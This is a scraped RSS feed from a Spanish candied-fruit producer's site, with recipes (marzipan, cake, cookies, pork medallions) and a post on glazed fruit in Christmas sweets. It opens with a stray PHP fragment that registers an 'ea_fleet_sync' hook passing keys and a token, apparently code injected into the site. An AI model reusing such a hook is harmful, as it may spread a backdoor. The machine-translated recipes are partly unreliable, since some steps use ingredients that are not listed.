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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); candied fruit Archives - Primitivo Picó https://primitivopico.com/en/tag/candied-fruit/ Turrones, porciones, dulces y conservas vegetales Tue, 11 May 2021 08:35:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 The best recipes with candied fruit https://primitivopico.com/en/the-best-recipes-with-candied-fruit/ https://primitivopico.com/en/the-best-recipes-with-candied-fruit/#respond Tue, 11 May 2021 08:35:31 +0000 https://primitivopico.com/the-best-recipes-with-candied-fruit/ The post The best recipes with candied fruit appeared first on Primitivo Picó.

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For foodies today in Primitive Picó we bring you the best recipes for candied fruit. Oranges, cherries, citron … there is so much variety of glazed fruits with which you can make delicious dishes that it is precisely because of the variety, for which there are many recipes that we can find with candied fruit, however we have chosen our favorites.

Marzipan filled with glazed fruit

Ingredients

  • 250 gr raw almonds
  • 250 gr sugar
  • 1 egg
  • 200 gr glazed fruits

Steps to follow

  • 1. Grind the almond in the blender and once it is well chopped we add the sugar and mix well.
  • 2. Add the egg white to this mixture and knead by hand until a homogeneous dough is left.
  • 3.Separate the dough into two equal parts.
  • 4.Place parchment paper on a baking tray and put one of the parts on top, place the glazed fruits on top and cover with the other dough that we had reserved.
  • 5.Seal the sides so that the glazed fruits are inside the dough, and make a few cuts on the top.
  • 6.Meter in the oven, preheated to 180º, for 6 minutes.

Candied fruit cake

Ingredients

  • 3 eggs
  • 1 sachet of yeast
  • 3 glasses of flour
  • 1 glass of milk and 1 glass of oil
  • 1 glass of oil
  • 2 glasses of sugar
  • Lemon zest
  • candied fruits to taste
  • 1 tablespoon of rum or cognac.

Steps to follow

  • 1.For the cake mass, add the eggs, the sugar, the milk and the lemon zest to a bowl and mix everything well. Preheat the oven to 150º.
  • 2.Pour the flour over the dough and stir well so that a homogeneous dough is left on which to pour the glazed fruit pieces and the brandy.
  • 3. Grease a rectangular dish with oil, sprinkle it with flour and pour the dough.
  • 4.Bake in the oven for 30 minutes.

Glazed fruit filled cookies

Ingredients

  • 175 g of butter
  • 2 egg yolks
  • 220 gr of flour
  • 100 grams of sugar
  • Chopped candied fruit

Steps to follow

  • 1.Pour the butter, sugar and egg yolks into a bowl and mix well.
  • 2. Incorporate the flour until you get a homogeneous dough.
  • 3.We are taking small pieces of the dough and making small balls
  • 4.Incorporate the pieces of candied fruit inside the balls and place them on the baking tray.
  • 5.Introduce the cookies to the oven, preheated to 180º for 15 minutes, until golden brown and then let cool.

Pork medallions with candied fruit

Ingredients

  • Pork medallions
  • spring onion
  • a cup of wine
  • milk
  • Brown sugar
  • honey
  • Pepper
  • lard
  • Salt

Steps to follow

  • 1. Season the medallions and seal them. Put them in the oven, preheated to 150º and finish cooking.
  • 2.For the garnish, cut the fruits and onions into wedges and place them in a saucepan together with the butter, sugar and salt. Let it simmer until it begins to caramelize.
  • 3.Place the medallions with the sauce and add the chosen glazed fruits and straight to the table.

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]]> https://primitivopico.com/en/the-best-recipes-with-candied-fruit/feed/ 0 Glazed fruit of Primitivo Picó https://primitivopico.com/en/glazed-fruit-of-primitivo-pico/ https://primitivopico.com/en/glazed-fruit-of-primitivo-pico/#respond Tue, 11 May 2021 08:22:18 +0000 https://primitivopico.com/glazed-fruit-of-primitivo-pico/ The post Glazed fruit of Primitivo Picó appeared first on Primitivo Picó.

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The glazed fruit It is the fruit that has been cooked in syrup and left to dry for c onserve its properties for much longer without the need to use artificial preservatives. Also known as candied fruit or candied fruit, it is characterized by having a shiny appearance and great texture. But above all because it is an indispensable element in Christmas baking.

As elaborated?

The frosting process takes a lot of time and dedication. In very general terms, it consists of repeating the process of maceration of the fruit in an almibar for several days. The fruit must be clean, without skin and all seeds and membranes must be removed.

Glazed fruit and Christmas sweets

As we have mentioned before, this delicious fruit is used a lot in Christmas pastries. And is that one of the typical Christmas sweets that carry these delicious fruits is the Roscón de Reyes.

The Roscón de Reyes It is the sweet that is eaten in the morning or afternoon of the Three Kings Day, putting the finishing touch to the Christmas festivities. Legend has it that in this delicious dessert the glazed fruit represents the gems that the kings of the East wore on their robes. But what people wonder the most is … “What is the green of the Roscón de Reyes?” . Well, it is nothing other than … green pumpkin!

In addition to the Roscón, it is also very traditional to find the famous fruit nougat . Made with ground almonds, a few pieces of glazed fruit are included in the process. Giving a touch of originality and flavor to the famous almond nougat.

Glazed fruit in Christmas products from abroad

And it is that our delicious glazed fruit is not only found in Spanish Christmas pastries. For example in Italy he is very famous Panettone . Traditional from Milan, it is a sweet bread made from flour, eggs, butter and sugar. Before being baked, the glazed fruit is added to the dough.

If you want to know more about this delicious product, we invite you to visit the section “Glazed fruit” of our products. Can you resist the temptation?

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